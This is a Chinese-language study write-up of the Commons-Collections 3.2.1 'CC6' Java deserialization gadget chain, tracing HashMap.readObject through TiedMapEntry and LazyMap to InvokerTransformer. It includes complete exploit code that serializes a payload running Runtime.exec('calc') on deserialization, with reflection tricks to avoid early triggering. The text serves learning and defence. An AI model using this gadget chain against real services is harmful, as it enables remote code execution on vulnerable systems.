Java_Commons-Collections 6 学习过程

CC6被称为是最好用的CC利用链,因为CC6不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。

环境配置

  • Jdk 8u71

  • Comoons-Collections 3.2.1

链子分析

第一阶段

CC6前半段链子和LazyMap版的CC1是一样的,LazyMap 类到 InvokerTransformer 类是一样的,我们直接到 LazyMap 下从找get方法开始

第二阶段

CC6运用到的主要类就是这个TiedMapEntry 类中的 getValue() 方法

image-20240406173509306

而这个map是TiedMapEntry构造函数的参数可控

image-20240406173553987

至此我们编写一下Exp试试这个TiedMapEntry是否可行

package CC6;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
​
public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc");
        tiedMapEntry.getValue();
    }
}
​

image-20240406173746149

第三阶段

然后就是继续往后找了,看看谁调用了getValue方法,正好就在这个类里有个hashCode方法中调用了getValue

image-20240406173946981

看到hashCode这个方法就很熟悉了,就是urldns中的那个链子,在readObject中有个putVal里面有个hash(key)中自动调用key.hashCode()

image-20240406174517195

image-20240406174526711

key可以通过HashMap.put()设置

但是发现HashMap.put()本身就会调用一次hash()

image-20240406175027590

这就会导致命令提前触发,导致反序列化的时候就不触发了

image-20240406175138426

这里的解决方案是在put前将LazyMapfactory属性改为个随便的数据,然后再put之后再通过反射改回来,因为是protected属性

image-20240406180111988

image-20240406180017315

使其不触发

image-20240406180537584

再通过反射改回来

Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

tnnd为什么不弹

但是发现怎么不弹计算器

LazyMap中的get()方法处下个断点我们可以发现再反序列化的时候跳到这个地点时那个if判断是进不去的因为map.containsKey(key)是true

image-20240406181701033

这是因为get方法中存在map.put(key, value)

序列化前如果map没包含这个key,那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

所以我们把这个keyput后给删了就行

image-20240406181811518

image-20240406181853594

最终Exp

package CC6;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
​
public class CC6Exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("suibian"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
        HashMap finHash = new HashMap<>();
        finHash.put(tiedMapEntry,"nbc2");
        hashMap.remove("nbc1");
        Class lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
        serialize(finHash);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
​
}
​

调试问题

如果调试的时候发现序列化的时候就弹计算器了,这是因为idea自带的会触发toString方法,点掉就行

image-20240406182245314

导致直接调用了

image-20240406182303722

流程

HashMap.readObject()
    HashMap.put()
    HashMap.hash()
        TiedMapEntry.hashCode()
        TiedMapEntry.getValue()
            LazyMap.get()
                ChainedTransformer.transform()
                    InvokerTransformer.transform()
                        Runtime.exec()